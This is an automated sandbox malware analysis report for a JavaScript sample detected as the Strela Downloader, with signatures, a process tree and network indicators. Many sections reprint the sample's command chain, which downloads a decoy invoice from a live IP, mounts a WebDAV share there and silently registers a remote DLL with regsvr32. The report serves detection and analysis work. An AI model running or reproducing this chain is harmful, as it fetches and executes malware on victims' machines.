Edit tour

Windows Analysis Report
1794629123897518052.js

Overview

General Information

Sample name:	1794629123897518052.js
Analysis ID:	1587989
MD5:	cbf9852c233751829ddb0c2dd22b65c4
SHA1:	eef4f67c1d0d3ecf038c251788786309b52bad2a
SHA256:	215d1c5f77bd124e112cd2d29799fe2c6d037cfd2cae259ac566b9044bbe9640
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7428 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7528 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7572 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7780 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7988 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2132 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1548,i,205549767828196929,3336906729478641028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7796 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7812 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8056 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7428	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7572, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7572, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", ProcessId: 7428, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", ProcessId: 7428, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7572, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7796, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7812, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8056, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7796, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7812, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7428, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll, ProcessId: 7528, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1794629123897518052.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1794629123897518052.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1311247063.0000027BC1A0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1367247788.0000018D84B6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1367149366.0000018D84B8B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1367247788.0000018D84B61000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1367970084.0000018D84B38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368055943.0000018D84B61000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368055943.0000018D84B6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1369076353.0000018D84B8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1367970084.0000018D84B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temlQ
Source: svchost.exe, 00000009.00000002.2605962541.000001E888A8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1378447991.000001E888890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7428, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1794629123897518052.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygbw1sel.w5w.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js"
